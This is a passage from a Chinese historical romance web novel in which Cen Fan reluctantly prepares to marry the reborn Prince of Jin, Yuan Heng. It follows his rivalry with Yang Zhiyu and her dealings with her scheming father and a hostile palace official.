岑璠倒也不想给他面子,“这是殿下自己的王府,若是想避开杨小将军,大可不必躲到这么偏的地方。” “孤没想过要躲。”他解释得有些生硬,一只臂揽在她的腰侧,将她拉近。 岑璠抿了唇,同他对视许久,暗潮涌动,彼此较着劲。 游廊上并非没有人,打扫的小厮抱着笤帚,脚步放轻,绕过两人,离得远远 的。 元衡移开目光,揽着她往前走。 王府最西侧,一改凄冷之景,垂花门像是刚翻新过,精美绝伦,垂莲柱下勾着风铃,玲玲作响。 穿过垂花门,来到一处小院,院子虽小,却有好几棵梅树,如今芳菲皆尽,和其他树并无差别。 有丫鬟在拿掸子拂着尘,廊下还养着一只画眉,处处透着生机。 她还记得,晋王的那处别院也种了满园的梅,就连布设都和这里很是相似…… 西院的奴仆很少能见到王府的主人,是以都停下了手中的活,听候差遣。 元衡向一旁的丫鬟吩咐了两句,随后走到岑璠身后,道:“去换身衣裳吧。” 岑璠转过身,不知道他又要干什么,但她的衣裳上确实都是酒味,小婢女已经拿了衣裳出来,她不换那小婢女也要为难。 岑璠进屋,换了那件月白色的衣裳,连头发也被重新挽了个髻,一只质地上好的白脂玉梳篦插在髻上,两只玉兰花钗做陪衬,素而雅致。 她的长相本就不俗气,这样一番打扮下来,便更显贵气。 元衡盯住她,看她一袭白衣走近,眼睛红了许多,似还含有某种别样的情绪。 岑璠不知道为何他这样看着她,眉微皱,显然是不喜欢他这般赤裸裸的打量她。 元衡回过神,眼中闪过一丝失落,继而竟换了一副好商好量的态度,“陪孤用个午膳吧。” 真是喜怒无常。 岑璠这么想,可这么一番折腾,总归是饿了,便是答应下来。 王府的灶房不算少,这西院算是最偏的一处院落,无人居住,饭菜对于岑璠来说或许算得上精细,可对那晋王来说,应当不算什么。 西院的奴仆小心地侍侯,可没有想到,自家主子竟是吃得津津有味。 只有岑璠一顿饭吃得相当不自在。 论谁吃饭被一直盯着,再好吃的饭菜,都会变得倒胃口。 岑璠手里拿着筷子,夹了几筷子便不吃了。 她问道:“殿下准备何时让我回去?” 元衡停住筷子,脸色又逐渐沉了下去,将筷子伸出去,也夹了个空。 周遭更冷了些,他干脆放下筷子,回答她的问题:“等着他们来找。” “那如果没人来呢。” 元衡漠视她话里话外想走的意思,道:“这王府只你一个,你愿意住在这儿也好,想住在别处,本王也能让人给你收拾出来。” 岑璠看出了他的不快,也没再招惹他,只等他吃完。 “怎么不动筷?”元衡却是问道。 “不饿。” 他自是不信,手指点了点桌子,只不知道对谁说了一句,“去把灶房的人都带过来。 这西院的人本就第一次侍侯主子用膳,哪里经得起一句这样的话,只以为是侍奉不周,片刻间跪了一地。 岑璠从前只知权势压人,今日总算是亲眼见到,何谓一句话便能轻易定人的生死。 难怪洛阳里的那些人会猖狂至此,不把人当人看…… 她扫了眼跪了满地的人,顾忌着面前的人是个疯子,拿起筷子,冷道:“殿下不必如此,接着吃吧。” 元衡倒也见好就收,没再为难。 只是人还都跪着,没人敢起来。 “殿下为何不叫他们起来?” 元衡眼睛都没抬,道:“起来。” 周围的奴仆听罢,互相看看,这才接二连三站起来。 岑璠并没有多高兴,筷子挑了口菜,只觉得更加难吃了。 可就算如此也不敢说出来。 一切都恢复了宁静,静的只能听见碗筷的声音,一缕光从窗棂透出来,洒在桌上。 若忽略刚才跪了满地的人,倒也像是寻常人家的一顿饭,其乐融融,岁月静好。 只是这宁静也没持续多久,不过一会儿,虞家便来了人,还是虞佑柏亲自来的。 元衡并不意外,带着岑璠出去,快到门口时,又揽住了她的腰。 岑璠想躲,可他却压低了声音,“要还想好好回虞家,就别动。” 王府的大门敞开,虞佑柏便扑通一声跪了下去,“小女私自逃婚,违逆圣旨,还请殿下赎罪,莫要同小女计较…” 虞家的阵仗并不算小,有从虞家带来的,也有跟过来看个究竟的,杂七杂八什么人都有。 元衡手臂一收,让她又贴近了些,“岳父大人莫不是糊涂了。” 虞佑柏没想到他会恬不知耻这般称呼,微微抬头,竟是看到两人亲昵的姿态,身子一震。 “你…” 元衡气定神闲,“我二人情投意合,何来逃婚一说。” 虞佑柏慌了一瞬,眼睛转了转,藏起情绪,“殿下见谅,小女前几日一直心情不悦,昨日说是要去街上,却忽然出了城,谁也没告诉……” 他拱手一礼,从容一笑,“如今看来,应该是误会。” 元衡嘴角勾起一丝讥诮,“虞大人是说,昨日自己的女儿同郑姑娘出城游玩,却一概不知。” 虞佑柏抬头,眨了眨眼,似是惊讶,不过须臾,眼睛里竟是蓄了泪,“殿下不知,璠儿自幼不在我身边,与我不亲近,什么事都不同我这做父亲的说…这说不见就不见了,我这个做父亲也是担心,失了方寸,还请殿下见谅。” 岑璠摇头笑了笑。 还未回话,只听见一声同样的低笑,“那倒是奇怪了,皎皎不同岳丈大人说,倒是乐意同本王说。” 岑璠顿时觉得不自在,嘴角的笑骤然收起,抬头看他时眼神异样。 他怎么会知道皎皎这个名字…… 元衡道:“本王觉得,这与谁亲近倒也不必强求。” 此句一出,虞佑柏彻底被哽住,说不出话。 “岳父大人要是担心皎皎,不如本王多派些人跟她回去,这样本王也放心。” 这话并不是对着虞佑柏说的,而是对她说的。 岑璠抬眼瞧他,又扫了眼台下眼睛还湿着的父亲,还有张着嘴议论的人。 她虽是不知道晋王都做了什么请来那道圣旨,可总不会说是他自己非要娶。 虞佑柏今日大张旗鼓来王府,应当是想坐实她逃婚的罪,这样一来,便能将晋王这欺君之罪坐实。 而他这个做父亲只要能亲手除掉她,整个虞家想必也能不受牵连。 不仅能解决了她这个麻烦,说不准还能得个大义灭亲的好名声。 晋王刚才不让她回虞家,想必便是等着这一刻。 被他找回洛阳,就注定,她没其他路可再选了。 就和他说的一样,要活一起活,要死一起死。 而他心里还打着什么算盘,她也清楚。 让她领回去人,无非是为了监视她,防止她再走。 一箭双雕。 但起码选他,她不会有性命之忧, 岑璠无声叹气,弯了个笑,美目流盼,“但凭殿下安排。” 元衡不曾回避半分,目光收起了所有所有凌厉,满是柔情。 只是岑璠不曾承这情,逢场作戏,须臾间便收了目光。 细腰骤然离了手,元衡手指微曲,吩咐了几句,便有人跟着岑璠,一起回到虞家的队伍。 父女二人同乘一辆马车,虞佑柏双手交叠,时不时看她,“璠儿…” 一张口,却又换了称呼,“皎皎是真的愿意嫁给晋王?若是不愿意,大可以同为父说说。” 岑璠倒有些敬佩她这位父亲,她以为自那次他把她关起来,就该翻脸了才对。 她阴阳怪气道:“圣旨已到将近十日,父亲此时再问,应是已经来不及了。” 虞佑柏紧抿了唇,手一拍膝盖,往窗外斜了眼,似是有所顾虑,倒也没说什么重话,“皎皎若有什么心事,以后可与我多说几句,莫要让家里人担心啊…” 左右不痛不痒,眼下和虞家闹掰,倒真成了她的不是,岑璠便同他道了歉,“是女儿的错,考虑不周,让父亲担心了。” 虞佑柏并没有多少高兴,“嗯”了一声,算是敷衍地接受了她的道歉。 直到虞家的马车走远,元衡才转身回去。 脸上的笑收起,目光透着阴鸷。 他并没有忘记,这府里还有一个人。 燕誉堂是王府的正堂,平日若是杨知聿来了,并不会在此等着,定是会进内院。 元衡屏退周遭的人,看着堂中闲坐着的人,始终挂着一副笑。 不同于他,杨知聿身上穿的还是干练的胡装,坐在那里,身姿挺拔,倒显出几分浩然正气,可眉间终究有怅然若失之感,少了些棱角, 瞧见他这副模样,元衡眼神只有不屑,面容虽是憔悴,却盛气凌人。 他坐在他对面,握了酒壶,也给自己也倒了一杯酒。 杨知聿笑道:“殿下这身子,被打了军棍,还能喝酒。” “想喝便喝了。”元衡将酒倒的满,反问道:“倒是你,怎的不去里面等,难道是想见什么人?” “我想见到什么人,殿下不清楚?” 大概是没想到他会这般放肆直言,元衡手停住,重重放下酒壶,话里有话,“哦?孤如果没记错,你的那位表妹应该还在晋阳,你这辈子竟也还有别的挂念的人?” 杨知聿脸色沉了许多,惯来的洒脱荡然全无,直视那道愈发凌厉的目光,倒也丝毫不畏惧。 空气静的极致,屋顶似乎都压低了些,酒杯里的酒微微晃动,似能听见指节咯咯作响声。 不知道是谁先松了手,两人都笑了笑,举起酒杯一饮而尽。 元衡放下杯,没由来说了句,“你我心知肚明,何必再装呢?” 杨知聿抬眼,倒也没打算再同他和气,冷哼一声,换了称呼,“你都知道了?” “怎么,上一世杀了我不够?” 杨知聿低叹一声,“你引来的两拨人都杀红了眼,不一箭杀了你,你是打算当萧氏的刀下魂,还是打算做六镇军士斧下的无头鬼?” 元衡哼了一声,显然不信他说的。 杨知聿知道他在想什么,又道:“你上一世玩弄权术,肆意打压军镇,置边镇百姓于水火,若你这一世不动军镇,我帮你把军权夺回来,送你上皇位,如何?” “你让我信你?”元衡问。 杨知聿看着他,严肃道:“我本没打算杀你。” 元衡目光微动,未答应下来,只道:“没有你,我也不会再动军镇。” 杨知聿知道他疑心向来重,不求他当场答应。 “最好是这样。”他眼盯着他,问道:“不过我很好奇,你怎么知道我同你一样,多活了一辈子?” 元衡道:“上辈子孤在彭城遇见岑家人,实属偶然,听说你那日特地从军营回来,倒像是未卜先知。” 他声音忽然冷了些,“上一次孤娶她的时候,也没有你这么个人多管闲事。” “那便巧了,上辈子我去查柳家,在城郊看见她伤了手,倒也没有你这个人多管闲事。” 元衡板着脸,似在警告,“人,我不可能让。” 杨知聿并不放在眼里,只觉得好笑,“晋王殿下应该也清楚,这一次不是你让不让,而是她选不选。” 元衡声音冷厉,“这也是你的手笔?” 杨知聿只不咸不淡一句,“我不知道。” 他唇微微提起,嘲讽道:“怎么,重活了一辈子,她不喜欢你了,你想不通,不甘心,就全都要赖到我头上?你与其现在怪别人,不如自己先反省,上辈子为何不对她好些。” 元衡道:“我只是想提醒你,别忘了你在边镇还有个表妹,上辈子不是情投意合吗?” 杨知聿沉默许久,眼中似闪过些寞落,声音低了些,“你也说了,那是上辈子的事,这辈子也只是表妹,我就是喜欢上岑璠了,我想让她这辈子活顺心些,又如何?” 元衡听完这席话,死死盯住他,眼睛里充了血,牙缝里挤出几个字,“你不配争。” 杨知聿毫不相让,摇了摇头,“你说我不配?我看不配的人是你才对,你可知——” 说到此处,他顿了顿。 那时他在庄子遇到岑璠,她就像是一朵枯花,已经毫无生机,后来为了帮他救人,连腹中的孩子都没保住。 那庄子里的人怕受牵连,闭口不言,看元衡现在的样子,他应该还不知道自己还有过一个孩子,才有脸在这里同他讲这些。 要是就这么告诉了他,这人指不定会做出此什么疯事。 杨知聿收起了话,转而问他,“你可知,她上辈子哭过…” 她哭过,元衡记得。 她确实在他的面前落过泪,仅在床榻上那一次,后来他便再也没有碰过她。 可当时他对她说了什么,他记不太清了。 他确实配不上她对他的好,可他也确实不甘心。 他执拗道:“过去是我对不起她,可她也绝不会选你!” 杨知聿眉毛上扬,“那她就会选你?” 元衡嘴抿成一条缝,道:“我起码比你干净。” 他想了想,又补充说,“心里比你干净!” 狗急跳墙。 杨知聿这样想,冷笑一声,“你不是也想过要娶郑家女,你比我好多少?” 元衡下颌紧绷,倒不是觉得这事多难以启齿。 他只是想起上一世她对郑家女的介意,而昨日两人喝了一夜的酒。 而她对自己的态度也变得迥然不同。 现世只有他和杨知聿记得,他们变了,可其他的人和事似乎也变了…… 就像杨知聿说的,是她选不选,想不想要他…… “我还是那句话,不管她怎么选,我都不可能让!”元衡坚持道。 杨知聿环视了一圈。 王府的中堂金碧辉煌,那块燕誉堂的牌匾的字都是金筑,只可惜,她想要的应该不是这些。 他起身,并不想再同他谈下去,“你把她逼成这样,我现在当然不可能再做什么,只是你觉得,这一世她会在你的王府待多久?” 元衡并未起身,只抬眼看着他,“不用你管。” 杨知聿嗤了一声,就要往门外走,“我不管你昨晚同义父说了什么,她他肯这次罢休,不代表他以后肯放过她。” “她有本王,用不着你来管。”元衡冷道:“况且他回洛阳,不只为了她吧?” 杨知聿道:“你也该知道,你成婚不久后,崔家就会倒台,他还有个崔家的儿子在洛阳。” “我希望你说的是真的,不论如何,护好她。” * 虞家莫名多了许多晋王府的人,大概是觉得再闹下去没意思,父女二人相安无事,只是谁都没对这桩婚事上什么心,反倒是黄氏偶尔张罗。 郑家似是并未怪罪于郑伊湄,岑璠起初不放心,找了个日子,带着紫芯亲自去府上,送了些新茶。 郑伊湄出来迎她,邀她去府上坐坐。 原来那日之后,晋王来过郑家,之后郑伊湄便被放了出来。 当朝中书令只这一个小女儿,自小亲自教导,大小宴会都把女儿带在身边,寄予厚望。 这世上应该也没有几个人,会像她的父亲那般。 岑璠这样想,渐渐放下心。 反倒是郑伊湄变得更担心些,“我听闻晋王府那边已经开始张罗婚事,那日晋王可有逼迫于你?” 岑璠低眸摇头,并不想让她担心,“他同我说了许多,是我自己想明白了。” 她想报仇。 那皇后没死,这一次被她躲了过去,可她不信,她借他的手,那皇后能躲得过将来无数次。 郑伊湄却还有话要说,“皎皎,你可有听闻过宫中的规矩?” “什么?” 郑伊湄嘴唇动了动,说出了口,“太子生母会被赐死的规矩。” 这是魏国开国时便立下这个规矩,是以这么多年来,皇室虽无外戚专权,却是子嗣凋零。 世家大族将女儿嫁到皇室,多会想些避孕的法子,五代皇帝的母族,出身都不怎么高贵。 皇帝三个儿子中,大皇子生母就身份卑贱,只是那婢女曾触怒龙颜,凌迟处死,大皇子也因此遭先帝厌恶,不曾叫人教导一二,不通文墨。 那四皇子身上留着八姓异族的血,这些年异姓贵族与中原世家冲突 不断,将来只会愈演愈烈。 出自杨氏血脉的晋王,便成了大多数世家唯一的选择。 她的父亲让她嫁给晋王时曾说,晋王若能登基,会废了这规矩,就算不废,郑家也会给她找好退路。 所谓退路,无非是效仿其他世家,不让她有子嗣,将来扶持一个傀儡皇帝登基,让她做太后… 父亲总是说晋王必成大业,统一南北也未尝不能,这是为她未来打算,无论如何都会将她送上最高的位置,享受尊荣。 可她觉得没什么好的。 皎皎若是嫁过去,将来皇权斗争,若晋王真的称帝,她做皇后,那规矩废不了,这便是她将来要面对的。 她觉得皎皎也不会喜欢。 岑璠确实听过这传闻,可过去这些事离她太远,她并没有想过,若以后晋王登基后会怎么办。 可她觉得这也不是什么大问题。 她不能保证他婚后不碰她,可她没打算让自己有他的子嗣。 只是那晋王不可能想不到那去母留子的规矩,他娶她究竟是何居心,怕是要重新想想。 正当岑璠思索间,郑伊湄劝慰道:“爹爹说,晋王登基后,也许会废了去母留子规矩,我只是想给皎皎提个醒。” 岑璠疑心略消,却也不完全信。 倒也不是不信她说的。 是不放心另一个人。 她笑了笑,“多谢阿湄。” * 岑璠一直掐着日子,若不出意外,乳娘她们应该也快从睢陵回来了。 果不其然,隔日两人便带着银钱回了虞家。 乳娘一刻未闲,一回来又置办了些嫁妆,这婚事的准备终于算是有了些样。 晋王大婚,皇帝虽是不喜,却也做足了样子,珠宝赏赐送进了王府,还命尚衣局制新衣。 不过就像元衡说的那样,宫里无人去过虞家,只把东西往晋王府送。 后来晋王府便是来了人,叫她去府里试婚服。 岑璠并不想再去一次,起码是在他们大婚之前。 他这个人阴晴不定,她过去又不知道他要做什么。 那日在王府试衣时,他说让她试出来个样,便不必再去。 于是岑璠让人去传了话,“殿下那日准备的衣裳就刚好,按那个裁便是。” 满院晋王府的人都能听得出,他们这位准王妃并不想去王府。 带话的人也是为难,“姑娘你看,这婚服和常服是不一样的,还是得量过才是……” 岑璠看着那人卑躬屈膝同她说话的模样,又想起那日跪了满屋子人的场景。 那种权势的压迫感。 她想了想,还是坐上那辆华丽的牛车,只身前往晋王府。 元衡的伤好了许多,唇上有了血色,坐在堂中,比起前几日见到威严更盛。 左右两旁的侍女拿着嫁衣图册,足足有十多套。 “你觉得哪个好看?”元衡问道。 岑璠看了一圈册子,暗中观察一番晋王府的装点,毫不犹豫,直指那套最奢华繁复的。 元衡顿时黑了脸。 元衡问道:“你不翻开册子,怎会知哪件好看?” 旁人家的女儿若能自己选婚服,必定是精挑细选才是,哪里会像这样,随意扫几眼便定了。 岑璠不想过多解释,“民女只是挑了自己认为最合适的。” 元衡上下看了眼她的穿着,站起身,将她拉到一侍女面前,自己翻开了图册,“本王倒是觉得,若论合适,该选这身才对。” 那套衣裳并不像她选的那套,没有太多金线修饰,墨青纱裙的领口上缀有一串珍珠,以白衣做内衬,腰束碧色长带,显得身形修长,贵在典雅。 似是明白了他让她选的意图,岑璠笑道:“殿下既已看过,何必再问呢?” 他声音有点哑,“岑璠,你我这辈子只这一次婚礼。” 就算不是为了他,为了她自己,也不该是这么敷衍的态度。 岑璠没接他的话,看向那图册,“殿下选的,确实比刚才的好看。” 她低身行了一礼,“按殿下说的选的准备便是。” 礼毕,岑璠没再说话,只等他放她走。 他却又将那图册拿起来,从头到尾翻了一遍,对着身旁的宫女道:“将这册子给宫里来的人,让她们给王妃量衣。” 岑璠抬头看他,似是觉得被骗了,细眉微微蹙起,“殿下那日让试的衣裳,刚好合身。” 元衡道:“这婚服不是寻常服饰,今日宫里有专门量衣的人来府上,你该不会让孤拿那件衣裳给他们吧?” 岑璠抿唇,杏眼透过他的瞳去看。 那双眼中有精明,有算计,正俯视着她,似是在看自己的囊中之物,连一点骗她的心虚都未曾有。 岑璠轻轻一笑,“殿下说的也对。” 元衡不想再计较她话中的敷衍,让侍女带她去见宫中来的女官。 来的女官品阶并不算低,梳着高髻,宫装曳地,年纪不算多大,却流露出十足的威仪,候在王府的庭院中。 身后好些小宫女低着头,都在偷偷往两旁看,只有女官一人目不斜视。 岑璠注视着她,行了一礼。 女官接过图册扫了几眼,端端正正回礼,道:“本官此次出宫,乃是奉皇上皇后之命,掌晋王大婚诸服饰,衣制尺量皆关乎礼法,还望姑娘配合。” 这话乍一听没什么不对。 可说来说去,说的不过也就是裁衣服而已。 岑璠也没真的指出来,说了句“劳烦”,同那女官一起进了屋。 女官屏退她身后王府的婢女,唇角微扬,待门关上,阔步挺胸,稳稳在她面前走了两步,侧头上下打量她,“姑娘的仪态,要这做晋王府的王妃,可还差了许多。” 岑璠见她这般,倒也不再客气,“民女不在宫中侍奉贵人,这方面做的自然比不过,不过民女记得,大人方才说此次是来给我量衣才对。” 那女官盯她的目光顿时带了些怒,收回头不再看她,平复心情后笑了一声,给身旁的宫女使了个眼色。 宫女们得了令,拿了尺来,有人掐她的肩,有人捏她腰,说不上有多合分寸。 岑璠皱起眉,终于在宫女放肆地将手伸进领口时,果断抓住手腕,狠狠甩开。 她冷道:“大人平日里便是这么教下面的人量衣?” “姑娘出身低微,可能不知,这大婚当日不仅有礼服,还有寝衣,从里到外都要准备,不容出错。” 女官眉微挑,“姑娘既是不愿意,那便脱一下衣裳吧。” “那我要是不呢?” 女官笑道:“本官还要回去给皇后娘娘复命,还请姑娘配合。” 岑璠死死盯住她,上前一步,“奉谁的命?” “皇后娘娘。”女官重复,声调高昂,没有半分惧怕。 岑璠冷笑一下。 女官不满,却也不想在王府闹出太多动静,压低声音,同狠了劲说了句,“放肆,你难道想抗旨!” “我如何放肆?”岑璠余光看了看两侧,“放肆的是大人才对。” 女官似是没想到她会这么同她说话,连眉间的花钿都飞舞了起来,“你别以为——” 话未说完,门外却是有王府的人喊道:“岑姑娘,殿下说有事找你过去。” 岑璠转过身,头半向后看,用余光斜看一眼才离开。 被带回去时,元衡正在把玩手里的金簪。 岑璠站定在他面前,“殿下有何事?” 元衡抬眼,“这只簪子想给你。” 那是一只点满红宝的金色流苏簪,宝石红的晶莹透彻,即使站的远,也能看出品色极好。 岑璠行礼道:“谢殿下。” 元衡晃了晃那簪子,凝视轻轻摇摆的流苏,不经意问,“刚才可有人为难?” 岑璠沉默片刻,道:“没有。” 元衡抬头看她,见她低着头不敢看他,心都软了。 她向来是如此,为了不给其他人添麻烦,被人在王府欺负了去也什么都不说。 刚准备张嘴,却听得她唤了一声,“殿下。” “怎么了?”他轻轻问。 “殿下可知,刚才来的女官是何人?” “那是宫里的文绣大监。” 他站起身,走到她面前,拿起手中的簪子,似是想插在一个合适的位置, 边比衬那簪子边道:“要是有人欺了你,大可以同本王说。” 岑璠不为所动,反而抓住了他的手指。 “不喜欢吗?”他低声问。 岑璠笑着摇头,“这簪子贵重,我今天的髻也和簪子不怎么相配。” 难得的,元衡与她意见契合。 他点头,“大婚时候戴也是好的。” 她听了,露出浅笑,眉眼宛如月。 元衡吩咐了人拿了檀香盒来,将簪子装起,亲手交到她手上。 岑璠双手捧着,视线落在盒子上,“谢殿下。” 元衡能感觉到,她喜欢这个簪子,也在接受这门婚事。 他想娶她当正妃,许多人在暗中阻拦,她才会犹豫。 她这个人不喜欢威胁,他却逼了一把,她才会抗拒。 可人究竟是有自己的脆弱的地方,她受了欺负,想必是想让他站在她这边。 看,只要他肯多让几步,她是肯同他好好说话的。 他扫向她的衣裳,道:“你叫人把嫁妆抄一份,送到王府来。” “殿下要这个做什么?” 元衡道:“你让人拿来便是。” 岑璠答了声是,眼睛又回到盒子上。 元衡目光跟随她,“你若喜欢,孤再多给你添些。” “谢殿下。” 元衡也没在多留她,怕留她久了再遭了厌烦。 临上车,岑璠回头,问一路送她到门外的韩泽,“那位大监可还在府上?” 韩泽眨了眨眼,回想片刻,道:“人应当还在府上,姑娘可不知,殿下对婚事重视得很,所有事都要仔仔细细过问一边才是。” 待她说完,岑璠只回了个笑,进了那辆牛车。 精美的檀木盒还在手上,岑璠低眼,手指摩挲盒上的花纹。 车转出王府,她抬起眼,目视前方,吩咐了一句,“不回虞家,送我去铜驼街吧。” * 此番送她回去的,皆是王府中人,没了晋王,眼前这位便是主子。 赶车的人没有多问,向铜驼街而去。 铜驼街道路宽阔,若回皇宫便是必经之路。 沿街走了一阵,岑璠拿着盒子下车,却是向来时的路返回。 玲珑华丽的步舆没过一会儿便出现在了视野,岑璠走近了些,挡住了队伍的去路,“大监留步。” 跟随的宫女有些还认得岑璠,一时惊讶。 步舆内传来懒洋洋的声音,“停。” 那步舆停下来,然而里面的人并没有下来的意思。 直到她让开路,只身走到步舆一侧时,那大监才开口问,“姑娘还有何事?” 岑璠低着头,看不出情绪,“民女是来给大监道谢,大监能帮忙裁衣是民女的荣幸。” 许久都没有话声,岑璠见状,打开木盒,双手奉上,“刚才冒犯了大监,也请大监恕罪。” 纤指终于挑开了帘子,岑璠瞧了一眼,又迅速将目光低下。 大监低眼看了看那盒子里的簪子。 那簪上点缀的宝石不似寻常物,倒像是番邦之物。 她头轻倚窗边,长长的眼尾多了一丝玩味。 这外室女粗鄙,刚才一口一个大人,如今改了称呼,想必是晋王同她说了她的身份,训斥过一通。 这礼想必也不是她能送得起的东西,定是晋王让她带来,给她赔罪道歉的! 估计此女也是怕在王府人面前丢了自己面子,竟然自己一个人跑到这铜驼大街上来拦她。 大监嘴角微扬,从她手里抽走盒子,打开看了眼,漫不经心道:“走吧。” 步舆又动了起来,岑璠低身行礼,待到那队宫人走远了些才起身。 * 隔日,元衡让韩泽来要她的嫁妆单。 这桩婚事乳娘很是上心,嫁妆单子早前就备下了几份,不用再誊抄,很快就送到了韩泽手上。 临走时,韩泽却是亲自将一只簪子交到了她手上,特意嘱咐,“这样的簪子殿下只有三只,一只给了公主殿下,这一只姑娘切莫再送予别人了。” 岑璠本也不打算瞒。 她出逃几乎无人知晓,他却能准确找到自己的位置,这京城怕是他的眼线密布,更何况她那日坐的是王府的车驾。 她将错就错,问道:“这簪子很贵重吗?” 韩泽眸中闪过一瞬的讶异,似是她的回答出乎预料,有些难办。 他话音顿了顿,目光微偏,而后换了副更客气的口吻,同她耐心解释,“这簪子上的红宝石世所罕见,乃是高昌王室送给大魏的珍宝,只此一块,殿下前些时日平乱有功,陛下赏赐这块宝石,殿下斥重金打了三支簪子,一只给了公主,另两只……” 他摊开手,身子微躬,接着道:“另两只就都在姑娘这里了。” 这簪子价值斐然,她能看出来。 竟不知是无价之宝。 可这未尝不是好事。 岑璠低下头,盯着手上的簪子,道:“多谢韩总管提醒。” 韩总管点头,倒也没再多说什么,拿着嫁妆单走了。 此后,王府接连几日都没人再上门。 直到有一日,一抬抬嫁妆出现在了虞家门口,明晃晃的金银首饰,玉件摆设摆装满了箱子。 虞府的人,上到虞佑柏,下到槿儿紫芯,都瞠目结舌。 这为嫁娘添妆倒也是常事,可添这么多,也变得不寻常起来。 这几日频频上门,韩泽也是将虞家摸了个熟悉,轻车熟路带着人将嫁妆安置在库房。 后来东西堆放不下,珝儿便张罗人堆在自己的院子。 安排归安排,韩泽始终注意着岑璠的反应。 这么多嫁妆,这位主儿也该高兴了才对吧。 要知道殿下这些年,不少钱都用于边镇供给,本就缺钱。 上次皇帝不仅打了六十军棍,还罚了一年俸禄,整个王府就更拮据了… 现在就连那价值连城的簪子,也被眼前这位姑娘送了一只出去。 在殿下下令添妆时,他劝过两句,剩下的话全被那眼神噎了回来。 这下好了,殿下半副家当彻底成了岑姑娘的东西。 可他越看越觉得,这位准王妃不怎么开心。 与其说不开心,不如说是不在意…… 但殿下显然是认真的。 到底回去要不要如实禀报,韩泽一时犯难。 正犹豫着,却见那陪在岑姑娘身边的老媪送来一幅画。 韩泽心中一喜,抬头见不远处,那准王妃也浅笑颔首。 这应该也算是开心吧…… 韩泽连忙拱手回礼,安顿好所有事,安心回去交差。 岑璠送走王府的人,便回了房。 乳娘收拾好东西,长舒一口气,脸上还挂着笑,见自家姑娘在妆台前发呆,定睛多瞧了几眼。 乳娘是在她出生时来到的岑家,看一眼便知她在想什么,叹了口气,坐到她旁边,“姑娘还不想嫁呢!” 岑璠回过神,“没有。” 乳娘眯起眼睛,点了点她的脑袋,“你想什么,我最清楚了。” 岑璠倒也没再反驳。 “你呀,从小到大都倔!”乳娘数落着,下巴朝妆台上摆满的金银首饰努了努,“人家一个亲王,都做到这份上了,为了求正妃的位置,挨了板子,现在又上赶着给咱们嫁妆,就算…” 岑璠打断了她的话,“什么板子?” 乳娘见她关心,连忙直了身子,“姑娘还不知道?晋王那日为了讨这正妃的名分,和陛下起了争执,挨了整整六十大板,不对,是六十军棍呢!” 难怪她那几日见他,他脸色会是那样…… 岑璠微微蹙起眉,正思索着,手背忽地被拍了一下。 乳娘苦口婆心劝,“姑娘啊,我觉得殿下还是蛮有诚意,毕竟也是对咱们有恩,你看是不是也应该上些心。” 岑璠微微点头,可她心里很清楚,若不是他救她多次,现在她应该不会在这里追究他到底是上心还是不上心,更不会换了对策,同他在这里逢场作戏,虚与委蛇。 她讨厌他周围的人。 他算计她,威胁她,让她惹上她不必惹上的人。 若不是因为这份恩情,她也不知道自己会做出什么事。 * 这场婚事定的仓促,很快的功夫,距离婚期便只剩一个月。 一个月前皇宫里新添了一个皇子,皇帝老来得子,大悦,小皇子的母 亲从一位才人,一跃成为贵嫔。 宫里的子嗣稀少,这下还是个皇子,老皇帝宴请了不少大臣,来为自己的小儿子贺满月。 就在半个月前,虞佑柏将请帖面无表情送到她手上,说让她和晋王去赴宴。 老皇帝没见过她,可能也是想趁此机会在大婚前见上一面。 宫宴当日,晋王府的车驾到虞府大门前,元衡亲自接她入宫。 她所认识的晋王,容貌虽是俊美,可穿衣常常不是胡服便是便衣,从来不似今日,玄色锦衣,金纹长衫,天生的贵气将皇室该有的雍容诠释得淋漓尽致,带着一方之主该有的傲气张扬。 自她上车后,他似乎就有话要说,一开始盯着她,似乎带有些怒,可迅速又移开些目光。 岑璠静等他问话。 马车驶动后,他只是问了句,“那日送你的簪子,为何不戴?” 岑璠来时便想过他要问,答得也从容,“民女都放到了嫁妆里,想着能多准备些。” 她顿了顿,说道:“那只簪子,民女有好好保管。” 元衡声音依旧冷硬,“那你为何要将簪子送与那宫婢?” 早知他会这么问,她从容回道:“那日民女与大监起了冲突,大监似乎心有怨言,所以——” 他打断她的话,“她那是在为难你。” 岑璠垂下目,“知道,可民女不想殿下与大监起冲突。” 元衡显然不完全信,还在审视着她,语中满是不屑,“一个宫婢而已,有冲突又如何?” 岑璠眼眸微动,道:“大婚的婚服毕竟还是大监来主管,那位大监似乎和皇后关系近,民女想着,还是不要轻易得罪的好。” 这番回答显然让面前的男人满意的,他不在追问,冷哼一声,道:“你放心,婚服轮不到她来做。” 岑璠抬起头,似是不明白。 元衡道:“做婚服的人今日便会换,本王说了帮你报仇,像这些人自是也不用你再忍让。” 他说完,目光又着落在她的首饰上,比起刚才神色添了些温和,“送给你的那些东西你戴便是,嫁妆孤还能再添。” 岑璠轻轻点头,“嫁妆已经够多了,还要多谢殿下。” 她目光略低了些,“那日的画殿下可有看过?” 车内有些昏暗,元衡看不清她的神色,却能听出那声音小了许多。 他听别人说过,她会作画,那幅佛像确实绘的足够精美。 “那画孤看过,可是你画的?” 岑璠无声一笑。 母亲喜画山水花鸟,她也是如此,她们都从未画过佛像。 如果他知道她的画,大概不会问出这个问题。 她送过去的那幅画多半是为了试探,如今看来,他娶她并非是认得她的画。 排除了这个可能,剩下有多少是因为一时色起,想占为己有,又有多少是觉得她身份低微,想哄骗她,好拿捏子嗣之事,对她而言并不重要。 她沉默半刻,抬起手给他看,“殿下也知道,民女的手现在还画不了。” 元衡目光看向她手心的疤痕:“可是太医的药无用?” “不是药无用,这伤就算是华佗再世,也没有那么快好。” 说这话的时候,岑璠始终盯着他,见他丝毫没有纠正自己的意思,唇往里收了收,顿了片刻才道:“若没有医士相救,民女这只手怕是要废掉,也要多谢殿下相救。” 元衡听了她的话,便是想到上一世,她的右手上有一条可怖的伤疤,长年累月不加医治,手掌变得有些畸形。 他将手覆在她的掌心,十指相扣。 应是经常习武的缘故,那指上有一层茧,轻轻擦过指缝,说不上来的别扭。 岑璠低头,眉微微压低,无人察觉。 “有孤在,会好的。”他道。 岑璠手臂上顿时起了一层鸡皮疙瘩。 她淡淡答了一句,“但愿吧。” 那只手握的更紧了些,迟迟不肯松开。 穿过东掖门,又向内走了一阵,车才停了下来。 她忽然拽住了准备下车的元衡,“殿下……” 元衡回头,“怎么了?” 岑璠抬眼看他,一双新月似的眉微蹙,蝉翼般的睫轻颤,竟显得楚楚可怜。 “殿下,我对宫里不熟悉……” 